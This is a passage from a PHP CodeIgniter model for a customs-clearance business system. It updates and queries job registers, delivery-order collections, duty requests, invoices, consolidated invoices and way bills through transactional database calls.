            'cc_authorization_letter_received_date' =&gt; $cc_authorization_letter_received_date,
            'cc_authorization_letter_port_id' =&gt; $postdata['cc_authorization_letter_port_id'],
            'cc_authorization_letter_send_to_port_date' =&gt; $cc_authorization_letter_send_to_port_date,
            'cc_authorization_letter_expiry_date' =&gt; $cc_authorization_letter_expiry_date,
            'cc_authorization_letter_alert_date' =&gt; $cc_authorization_letter_alert_date,
            'cc_authorization_letter_remarks' =&gt; $postdata['cc_authorization_letter_remarks'],
        );
        $this-&gt;db-&gt;where('cc_authorization_letter_id', $postdata['cc_authorization_letter_id']);
        $this-&gt;db-&gt;update('cc_authorization_letter', $tblValues);

        $data['resfunction'] = 'search_authorization_letter';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_cc_job($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $cc_job_register_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_date']);
        $cc_job_register_etd = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_etd']);
        $cc_job_register_eta = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_eta']);
        $cc_job_register_arrival_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_arrival_date']);
        $cc_job_register_do_collection = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_do_collection']);
        $cc_job_register_do_translation_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_do_translation_date']);
        $cc_job_register_send_to_port = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_send_to_port']);
        $cc_job_register_clearance_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_clearance_date']);
        $cc_job_register_delivery_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_delivery_date']);

        $duty_pending = $this-&gt;check_duty_pending('cc_duty_request');
        $pending_status = "";
        if (isset($postdata['pending_document'])) {
            $pending_document = 1;
        } else {

            $pending_document = 0;
            $postdata['cc_job_register_pending_document'] = "";
        }


        if (isset($postdata['pending_duty_amount']) || $duty_pending == 0) {
            $pending_duty_amount = 1;
        } else {
            $postdata['cc_job_register_pending_duty_amount'] = "";
            $pending_duty_amount = 0;
        }

//        if($pending_duty_amount==1 &amp;&amp; $pending_document==1){
//            $pending_status=$pstatus['val'][2];
//        }

        $status = '';
        if ($cc_job_register_arrival_date == "")
            $status = "Shipment not arrived";
        if ($cc_job_register_arrival_date != "" &amp;&amp; $cc_job_register_do_collection == "")
            $status = "DO not collected";
        if ($cc_job_register_do_collection != "" &amp;&amp; $cc_job_register_do_translation_date == "")
            $status = "Under Translation";
        if ($cc_job_register_do_translation_date != "" &amp;&amp; $cc_job_register_send_to_port == "")
            $status = "Translation not Send to Port";
        if ($cc_job_register_send_to_port != "")
            $status = "Under Clearance";

        if ($cc_job_register_send_to_port != "" &amp;&amp; $pending_duty_amount == 0)
            $status = "Waiting for Duty Amount";

        if ($cc_job_register_clearance_date != "" &amp;&amp; $cc_job_register_delivery_date == "")
            $status = "Shipment Cleared";
        if ($cc_job_register_delivery_date != "")
            $status = "Job Completed";

        if ($postdata['cc_job_register_shipper_id'] != '') {
            $cc_job_register_shipper = explode('-', $postdata['cc_job_register_shipper']);
            $postdata['cc_job_register_shipper'] = $cc_job_register_shipper[0];
        }

        $cc_job_shipment_other = "";
        if (isset($postdata['shipment_other']))
            $cc_job_shipment_other = $postdata['shipment_other'];


        $tblValues = array(
            'cc_job_register_department_code' =&gt; $postdata['cc_job_register_department_code'],
            'cc_job_register_date' =&gt; $cc_job_register_date,
            'cc_job_register_customer_address' =&gt; $postdata['cc_job_register_customer_address'],
            'cc_job_register_shipper_name' =&gt; $postdata['cc_job_register_shipper'],
            'cc_job_register_billing_customer_id' =&gt; $postdata['cc_job_register_billing_customer_id'],
            'cc_job_register_wbs' =&gt; $postdata['cc_job_register_wbs'],
            'cc_job_register_pol' =&gt; $postdata['cc_job_register_pol'],
            'cc_job_register_pod' =&gt; $postdata['cc_job_register_pod'],
            'cc_job_register_commodity' =&gt; $postdata['cc_job_register_commodity'],
            'cc_job_register_gross_weight' =&gt; $postdata['cc_job_register_gross_weight'],
            'cc_job_register_net_weight' =&gt; $postdata['cc_job_register_net_weight'],
            'cc_job_register_volume' =&gt; $postdata['cc_job_register_volume'],
            'cc_job_register_no_pcs' =&gt; $postdata['cc_job_register_no_pcs'],
            'cc_job_register_etd' =&gt; $cc_job_register_etd,
            'cc_job_register_eta' =&gt; $cc_job_register_eta,
            'cc_job_register_arrival_date' =&gt; $cc_job_register_arrival_date,
            'cc_job_register_do_collection' =&gt; $cc_job_register_do_collection,
            'cc_job_register_do_translation_date' =&gt; $cc_job_register_do_translation_date,
            'cc_job_register_send_to_port' =&gt; $cc_job_register_send_to_port,
            'cc_job_register_clearance_date' =&gt; $cc_job_register_clearance_date,
            'cc_job_register_delivery_date' =&gt; $cc_job_register_delivery_date,
            'cc_job_register_pending_document' =&gt; $postdata['cc_job_register_pending_document'],
            'cc_job_register_pending_duty_amount' =&gt; $postdata['cc_job_register_pending_duty_amount'],
            'cc_job_register_remarks' =&gt; $postdata['cc_job_register_remarks'],
            'cc_job_register_shipment_mode' =&gt; $postdata['cc_job_register_shipment_mode'],
            'cc_job_register_shipment_other' =&gt; $cc_job_shipment_other,
            'cc_job_register_shipment_term_id' =&gt; $postdata['cc_job_register_shipment_term_id'],
            'cc_job_register_carrier_id' =&gt; $postdata['cc_job_register_carrier_id'],
            'cc_job_register_duty_amount' =&gt; $postdata['cc_job_register_duty_amount'],
            'cc_job_register_status' =&gt; $status,
            'pending_duty_amount' =&gt; $pending_duty_amount,
            'pending_document' =&gt; $pending_document
        );



        $this-&gt;db-&gt;where('cc_job_register_id', $postdata['cc_job_register_id']);
        $this-&gt;db-&gt;update('cc_job_register', $tblValues);
        $this-&gt;db-&gt;where('cc_shipment_po_job_id', $postdata['cc_job_register_id']);
        $this-&gt;db-&gt;delete('cc_shipment_po');

        $this-&gt;db-&gt;where('cc_job_register_id', $postdata['cc_job_register_id']);
        $this-&gt;db-&gt;delete('cc_job_sea');


        if ($postdata['cc_job_register_shipment_mode'] == 'Sea') {
            $i = 1;
            while (isset($postdata['cc_job_sea_container_no' . $i])) {
                if ($postdata['cc_job_sea_container_no' . $i] != "") {
                    $tblValues = array(
                        'cc_job_register_id' =&gt; $postdata['cc_job_register_id'],
                        'cc_job_sea_container_no' =&gt; $postdata['cc_job_sea_container_no' . $i],
                        'cc_job_sea_no_pcs' =&gt; $postdata['cc_job_sea_no_pcs' . $i],
                        'cc_job_sea_description' =&gt; $postdata['cc_job_sea_description' . $i],
                        'cc_job_sea_weight_kgs' =&gt; $postdata['cc_job_sea_weight_kgs' . $i],
                        'cc_job_sea_volume_cbm' =&gt; $postdata['cc_job_sea_volume_cbm' . $i],
                        'cc_job_sea_equipment_id' =&gt; $postdata['cc_job_sea_equipment_id' . $i],
                    );
                    $this-&gt;db-&gt;insert('cc_job_sea', $tblValues);
                }
                $i++;
            }
        }


        $i = 1;
        while (isset($postdata['cc_shipment_po_no' . $i])) {
            if ($postdata['cc_shipment_po_no' . $i] != "") {
                $tblValues = array(
                    'cc_shipment_po_job_id' =&gt; $postdata['cc_job_register_id'],
                    'cc_shipment_po_no' =&gt; $postdata['cc_shipment_po_no' . $i],
                    'cc_shipment_invoice_no' =&gt; $postdata['cc_shipment_invoice_no' . $i],
                    'cc_shipment_currency' =&gt; $postdata['cc_shipment_currency' . $i],
                    'cc_shipment_amount' =&gt; $postdata['cc_shipment_amount' . $i]);
                $this-&gt;db-&gt;insert('cc_shipment_po', $tblValues);
            }
            $i++;
        }


        $data['resfunction'] = 'search_cc_job_active';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_do_collection($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $cc_do_collection_requested_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_requested_date']);
        $cc_do_collection_arrival_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_arrival_date']);
        $cc_do_collection_eta = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_eta']);
        $cc_do_collection_etd = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_etd']);
        if (isset($postdata['cc_do_colection_received'])) {
            $postdata['cc_do_colection_received'] = 1;
            $cc_do_collection_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_date']);
        } else {
            $postdata['cc_do_colection_received'] = 0;
            $cc_do_collection_date = '0000-00-00';
        }

        $tblValues = array(
            'cc_do_collection_awb_mbl' =&gt; $postdata['cc_do_collection_awb_mbl'],
            'cc_do_collection_customer_id' =&gt; $postdata['cc_do_collection_customer_id'],
            'cc_do_collection_arrival_date' =&gt; $cc_do_collection_arrival_date,
            'cc_do_collection_eta' =&gt; $cc_do_collection_eta,
            'cc_do_collection_etd' =&gt; $cc_do_collection_etd,
            'cc_do_collection_gross_weight' =&gt; $postdata['cc_do_collection_gross_weight'],
            'cc_do_collection_net_weight' =&gt; $postdata['cc_do_collection_net_weight'],
            'cc_do_collection_no_pcs' =&gt; $postdata['cc_do_collection_no_pcs'],
            'cc_do_collection_requested_date' =&gt; $cc_do_collection_requested_date,
            'cc_do_colection_received' =&gt; $postdata['cc_do_colection_received'],
            'cc_do_collection_port_id' =&gt; $postdata['cc_do_collection_port_id'],
            'cc_do_collection_date' =&gt; $cc_do_collection_date,
            'cc_do_collection_remarks' =&gt; $postdata['cc_do_collection_remarks'],
        );


        $this-&gt;db-&gt;where('cc_do_collection_id', $postdata['cc_do_collection_id']);
        $this-&gt;db-&gt;update('cc_do_collection', $tblValues);

        if (isset($postdata['cc_do_colection_received'])) {
            $job = $this-&gt;mastermodel-&gt;get_data_srow('cc_job_register', $postdata['cc_do_collection_awb_mbl'], 'cc_job_register_awb_mbl');
            if (!empty($job)) {
                if ($job-&gt;cc_job_register_status == "DO not collected") {
                    $tblValues = array(
                        'cc_job_register_do_collection' =&gt; $cc_do_collection_date,
                        'cc_job_register_status' =&gt; 'Under Translation');
                    $this-&gt;db-&gt;where('cc_job_register_awb_mbl', $postdata['cc_do_collection_awb_mbl']);
                    $this-&gt;db-&gt;update('cc_job_register', $tblValues);
                }
            }
        }

        $data['resfunction'] = 'search_do_collection';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_duty_request($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $cc_duty_request_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_duty_request_date']);
        $tblValues = array(
            'cc_duty_request_date' =&gt; $cc_duty_request_date,
            'cc_duty_request_amount' =&gt; $postdata['cc_duty_request_amount'],
            'cc_duty_request_currency_id' =&gt; $postdata['cc_duty_request_currency_id'],
            'cc_duty_request_remarks' =&gt; $postdata['cc_duty_request_remarks'],
            'cc_duty_request_subject' =&gt; $postdata['cc_duty_request_subject'],
            'cc_duty_request_content' =&gt; $postdata['cc_duty_request_content'],
            'cc_duty_request_attn' =&gt; $postdata['cc_duty_request_attn'],
            'cc_duty_received_date' =&gt; $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_duty_received_date'])
        );

        $this-&gt;db-&gt;where('cc_duty_request_id', $postdata['cc_duty_request_id']);
        $this-&gt;db-&gt;update('cc_duty_request', $tblValues);

        $data['resfunction'] = 'search_duty_request';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_customer_notification($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $cc_customer_notification_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_customer_notification_date']);
        $tblValues = array(
            'cc_customer_notification_date' =&gt; $cc_customer_notification_date,
            'cc_customer_notification_subject' =&gt; $postdata['cc_customer_notification_subject'],
            'cc_customer_notification_remarks' =&gt; $postdata['cc_customer_notification_remarks'],
            'cc_customer_notification_content' =&gt; $postdata['cc_customer_notification_content'],
        );


        $this-&gt;db-&gt;where('cc_customer_notification_id', $postdata['cc_customer_notification_id']);
        $this-&gt;db-&gt;update('cc_customer_notification', $tblValues);

        $data['resfunction'] = 'search_customer_notification';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_cc_invoice($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $cc_invoice_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_invoice_date']);
        $bank = $postdata['bankacc_id'];

        $tblValues = array(
            'invoice_amount' =&gt; $postdata['cc_invoice_amount'],
            'invoice_date' =&gt; $cc_invoice_date,
            'invoice_amount' =&gt; $postdata['cc_invoice_amount'],
            'invoice_re' =&gt; $postdata['cc_invoice_re'],
            'invoice_status' =&gt; $postdata['cc_invoice_status'],
            'invoice_currency' =&gt; $postdata['cc_invoice_currency'],
            'invoice_remarks' =&gt; $postdata['cc_invoice_remarks'],
            'invoice_prepared_by' =&gt; $postdata['cc_invoice_prepared_by'],
            'invoice_nb' =&gt; $postdata['cc_invoice_nb'],
            'invoice_bank' =&gt; $bank,
            'invoice_enclosure' =&gt; $postdata['cc_invoice_enclosure'],
            'customer_credit_period' =&gt; $postdata['customer_credit_period']
        );
        $this-&gt;db-&gt;where('invoice_id', $postdata['cc_invoice_id']);
        $this-&gt;db-&gt;update('customer_invoice', $tblValues);

        $this-&gt;db-&gt;where('invoice_id', $postdata['cc_invoice_id']);
        $this-&gt;db-&gt;delete('customer_invoice_description');
        $i = 1;
        $total_amount = 0;
        while (isset($postdata['cc_invoice_description' . $i])) {
            if ($postdata['cc_invoice_description' . $i] != "") {
                $tblValues = array(
                    'invoice_id' =&gt; $postdata['cc_invoice_id'],
                    'invoice_description_code' =&gt; $postdata['cc_invoice_description_code_id' . $i],
                    'invoice_description' =&gt; $postdata['cc_invoice_description' . $i],
                    'invoice_fr_currency_id' =&gt; 0,
                    'invoice_fr_rate' =&gt; 0,
                    'invoice_fr_amount' =&gt; $postdata['cc_invoice_fr_amount' . $i]
                );
                $this-&gt;db-&gt;insert('customer_invoice_description', $tblValues);
                $total_amount+=$postdata['cc_invoice_fr_amount' . $i];
            }
            $i++;
        }

        if (isset($postdata['total_job_expense'])) {
            $total_amount+=$postdata['total_job_expense'];
        }
        $tblValues = array('invoice_amount' =&gt; $total_amount);
        $this-&gt;db-&gt;where('invoice_id', $postdata['cc_invoice_id']);
        $this-&gt;db-&gt;update('customer_invoice', $tblValues);

        $data['resfunction'] = 'search_cc_invoice';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_cc_consolidated_invoice($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $limit = $postdata['limit'];
        $fl = 0;
        for ($i = 1; $i &lt;= $limit; $i++) {
            if (isset($postdata['cc_consolidated_check_' . $i])) {
                $fl = 1;
                break;
            }
        }
        if ($fl == 1) {
            $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
            $current_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['current_date']);
            $date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['date']);
            $tblValues = array(
                'consolidated_invoice_date' =&gt; $current_date,
                'consolidated_invoice_upto' =&gt; $date,
                'consolidated_invoice_customer_id' =&gt; $postdata['customer_id'],
                'consolidated_invoice_attn' =&gt; $postdata['attn']
            );
            $this-&gt;db-&gt;where('consolidated_invoice_id', $postdata['cc_consolidated_invoice_id']);
            $this-&gt;db-&gt;update('consolidated_invoice', $tblValues);
            $this-&gt;db-&gt;where('consolidated_invoice_id', $postdata['cc_consolidated_invoice_id']);
            $this-&gt;db-&gt;delete('consolidated_invoice_details');
            for ($i = 0; $i &lt;= $limit; $i++) {
                if (isset($postdata['cc_consolidated_check_' . $i])) {
                    $tblValues = array('consolidated_invoice_id' =&gt; $postdata['cc_consolidated_invoice_id'],
                        'invoice_id' =&gt; $postdata['cc_invoice_id_' . $i]
                    );
                    $this-&gt;db-&gt;insert('consolidated_invoice_details', $tblValues);
                }
            }
        }
        $data['resfunction'] = 'search_cc_consolidated_invoice';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function update_cc_way_bill($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();

        $contact_name = $postdata['cc_way_bill_contact_name'];
        if ($postdata['cc_way_bill_driver_name_id'] != "") {
            $driver = explode('-', $postdata['cc_way_bill_driver_name']);
            $driver_name = $driver[0];
        }
        else
            $driver_name = "";
        if ($postdata['cc_way_bill_driver_name_id'] != "") {
            $truck = explode('-', $postdata['cc_way_bill_truck_no']);
            $truck_name = $truck[0];
        } else {
            $truck_name = "";
        }
        $cc_way_bill_collected_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_collected_date']);
        $cc_way_bill_unloading_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_unloading_date']);
        $cc_way_bill_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_date']);
        $cc_way_bill_truck_arrived = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_truck_arrived']) . " " . $postdata['cc_way_bill_truck_arrived_hour'] . ":" . $postdata['cc_way_bill_truck_arrived_minute'] . ":00";
        $cc_way_bill_goods_discharged = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_way_bill_goods_discharged']) . " " . $postdata['cc_way_bill_goods_discharged_hour'] . ":" . $postdata['cc_way_bill_goods_discharged_minute'] . ":00";
        $tblValues = array(
            'cc_way_bill_job_id' =&gt; $postdata['cc_way_bill_job_id'],
            'cc_way_bill_collected_from' =&gt; $postdata['cc_way_bill_collected_from'],
            'cc_way_bill_collected_date' =&gt; $cc_way_bill_collected_date,
            'cc_way_bill_unloading_place' =&gt; $postdata['cc_way_bill_unloading_place'],
            'cc_way_bill_unloading_date' =&gt; $cc_way_bill_unloading_date,
            'cc_way_bill_contact_name' =&gt; $contact_name,
            'cc_way_bill_contact_no' =&gt; $postdata['cc_way_bill_contact_no'],
            'cc_way_bill_driver_name' =&gt; $driver_name,
            'cc_way_bill_truck_no' =&gt; $truck_name,
            'cc_way_bill_iso_code' =&gt; $postdata['cc_way_bill_iso_code'],
            'cc_way_bill_date' =&gt; $cc_way_bill_date,
            'cc_way_bill_receiving_person' =&gt; $postdata['cc_way_bill_receiving_person'],
            'cc_way_bill_truck_arrived' =&gt; $cc_way_bill_truck_arrived,
            'cc_way_bill_goods_discharged' =&gt; $cc_way_bill_goods_discharged
        );
        $this-&gt;db-&gt;where('cc_way_bill_id', $postdata['cc_way_bill_id']);
        $this-&gt;db-&gt;update('cc_way_bill', $tblValues);

        $data['resfunction'] = 'search_cc_way_bill';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* Update function ends here */

    function get_cc_enquiry() {
        $data = array();
        $this-&gt;db-&gt;order_by('cc_enquiry_id', "desc");
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_enquiry_customer_id');
        $Q = $this-&gt;db-&gt;get('cc_enquiry');
        if ($Q-&gt;num_rows() &gt; 0) {
            foreach ($Q-&gt;result_array() as $row) {
                $data[] = $row;
            }
        }
        $Q-&gt;free_result();
        return $data;
    }

    function get_cc_quotation() {
        $data = array();
        $this-&gt;db-&gt;order_by('cc_quotation_id', "desc");
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_quotation_customer_id');
        $Q = $this-&gt;db-&gt;get('cc_quotation');
        if ($Q-&gt;num_rows() &gt; 0) {
            foreach ($Q-&gt;result_array() as $row) {
                $data[] = $row;
            }
        }
        $Q-&gt;free_result();
        return $data;
    }

    function get_jobregister_srow($table, $id, $field) {
        $data = array();
        $this-&gt;db-&gt;select('*,c1.customer_name as reg_customer,c2.customer_name as billing_customer');
        $this-&gt;db-&gt;from($table);
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register.cc_job_register_id');
        $this-&gt;db-&gt;join('customer c1', 'c1.customer_id=cc_job_register_customer_id');
        $this-&gt;db-&gt;join('customer c2', 'c2.customer_id=cc_job_register_billing_customer_id', 'left');
        $this-&gt;db-&gt;join('cc_enquiry', 'cc_enquiry.cc_enquiry_id=cc_job_register.cc_enquiry_id', 'left');
        $this-&gt;db-&gt;join('cc_quotation', 'cc_quotation.cc_quotation_id=cc_job_register.cc_quotation_id', 'left');
        $this-&gt;db-&gt;join('cc_purchase_order', 'cc_purchase_order.cc_po_id=cc_job_register.cc_po_id', 'left');
        $this-&gt;db-&gt;where($field, $id);
        $Q = $this-&gt;db-&gt;get();
        $row = $Q-&gt;row();
        return $row;
    }

    function get_duty_request_srow($table, $id, $field) {
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from($table);
        $this-&gt;db-&gt;join('master', 'master_id=cc_duty_request_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_duty_request_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id');
        $this-&gt;db-&gt;where($field, $id);
        $Q = $this-&gt;db-&gt;get();
        $row = $Q-&gt;row();
        return $row;
    }

    function get_customer_notification_srow($table, $id, $field) {
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from($table);
        $this-&gt;db-&gt;join('master', 'master_id=cc_customer_notification_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_customer_notification_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id');
        $this-&gt;db-&gt;where($field, $id);
        $Q = $this-&gt;db-&gt;get();
        $row = $Q-&gt;row();
        return $row;
    }

    function get_cc_invoice_srow($table, $id, $field) {
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from($table);
        $this-&gt;db-&gt;join('master', 'master_id=invoice_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=invoice_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id');
        $this-&gt;db-&gt;where($field, $id);
        $Q = $this-&gt;db-&gt;get();
        $row = $Q-&gt;row();
        return $row;
    }

    function get_cc_way_bill_srow($table, $id, $field) {
        $this-&gt;db-&gt;select('*,cc_job_register.cc_job_register_code as job_code');
        $this-&gt;db-&gt;from($table);
        $this-&gt;db-&gt;join('master', 'master_id=cc_way_bill_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_way_bill_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id');
        $this-&gt;db-&gt;where($field, $id);
        $Q = $this-&gt;db-&gt;get();
        $row = $Q-&gt;row();
        return $row;
    }

    function generate_do_collection_list_pdf($date, $searchtext, $searchfield) {
        $data = array();
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_do_collection');
        $this-&gt;db-&gt;join('master', 'master_id=cc_do_collection.cc_do_collection_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_do_collection_customer_id', 'left');
        $this-&gt;db-&gt;join('port', 'port_id=cc_do_collection_port_id');
        $this-&gt;db-&gt;where("cc_do_collection_requested_date &lt;= ", $this-&gt;mastermodel-&gt;convertdateformat($date));
        $this-&gt;db-&gt;where("cc_do_colection_received", 0);
        if ($searchtext != '' &amp;&amp; $searchfield != '') {
            if ($searchfield == 'cc_do_collection_requested_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $Q = $this-&gt;db-&gt;get();
        if ($Q-&gt;num_rows() &gt; 0) {
            foreach ($Q-&gt;result_array() as $row) {
                $data[] = $row;
            }
        }
        $Q-&gt;free_result();
        return $data;
    }

    function get_custom_clearance_list_pdf($date, $port) {
        $data = array();
        $this-&gt;db-&gt;select('*,c1.customer_name as reg_customer,c2.customer_name as billing_customer');
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register.cc_job_register_id');
        $this-&gt;db-&gt;join('customer c1', 'c1.customer_id=cc_job_register_customer_id');
        $this-&gt;db-&gt;join('customer c2', 'c2.customer_id=cc_job_register_billing_customer_id', 'left');
        $this-&gt;db-&gt;join('cc_enquiry', 'cc_enquiry.cc_enquiry_id=cc_job_register.cc_enquiry_id', 'left');
        $this-&gt;db-&gt;join('cc_quotation', 'cc_quotation.cc_quotation_id=cc_job_register.cc_quotation_id', 'left');
        $this-&gt;db-&gt;join('cc_purchase_order', 'cc_purchase_order.cc_po_id=cc_job_register.cc_po_id', 'left');
        $this-&gt;db-&gt;where('cc_job_register_pod', $port);
        $this-&gt;db-&gt;where('cc_job_register_status', 'Under Clearance');
        $this-&gt;db-&gt;where("cc_job_register_send_to_port &lt;= ", $this-&gt;mastermodel-&gt;convertdateformat($date));
        $Q = $this-&gt;db-&gt;get();

        if ($Q-&gt;num_rows() &gt; 0) {
            foreach ($Q-&gt;result_array() as $row) {
                $data[] = $row;
            }
        }
        $Q-&gt;free_result();
        return $data;
    }

    function get_job_customer() {
        $data = array();
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;group_by('cc_job_register_customer_id');
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('customer_invoice', 'invoice_job_id=cc_job_register_id');
        $Q = $this-&gt;db-&gt;get();
        if ($Q-&gt;num_rows() &gt; 0) {
            foreach ($Q-&gt;result_array() as $row) {
                $data[] = $row;
            }
        }
        $Q-&gt;free_result();
        return $data;
    }

    function getinvoicelist($id, $date) {
        $data = array();
        $date = $this-&gt;mastermodel-&gt;convertdateformat($date);
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('customer_invoice', 'invoice_job_id=cc_job_register_id');
        $this-&gt;db-&gt;where('cc_job_register_customer_id', $id);
        $this-&gt;db-&gt;where('invoice_status !=', 'Cancelled');
        $this-&gt;db-&gt;where('invoice_status !=', 'Payment Received');
        $this-&gt;db-&gt;where('invoice_date &lt;=', $date);
        $Q = $this-&gt;db-&gt;get();
        if ($Q-&gt;num_rows() &gt; 0) {
            foreach ($Q-&gt;result_array() as $row) {
                $data[] = $row;
            }
        }
        $Q-&gt;free_result();
        return $data;
    }

//    $this-&gt;mastermodel-&gt;get_data_joined('cc_do_collection', 'customer', 'cc_do_collection_customer_id', 'customer_id');

    function get_do_collection_awb_mbl() {
        $data = array();
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_do_collection');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_do_collection_customer_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_awb_mbl=cc_do_collection_id', 'left');
        $this-&gt;db-&gt;having('cc_job_register_id is null');
        $Q = $this-&gt;db-&gt;get();
        if ($Q-&gt;num_rows() &gt; 0) {
            foreach ($Q-&gt;result_array() as $row) {
                $data[] = $row;
            }
        }
        $Q-&gt;free_result();
        return $data;
    }

    function getcurrentinvoicelist($id) {
        $data = array();
        $this-&gt;db-&gt;select('invoice_id');
        $this-&gt;db-&gt;from('consolidated_invoice');
        $this-&gt;db-&gt;join('consolidated_invoice_details', 'consolidated_invoice.consolidated_invoice_id=consolidated_invoice_details.consolidated_invoice_id');
        $this-&gt;db-&gt;where('consolidated_invoice_customer_id', $id);
        $Q = $this-&gt;db-&gt;get();
        if ($Q-&gt;num_rows() &gt; 0) {
            foreach ($Q-&gt;result_array() as $row) {
                $data[] = $row;
            }
        }
        $Q-&gt;free_result();
        return $data;
    }

    function check_carrier_link($prefix_code) {
        $web = "";
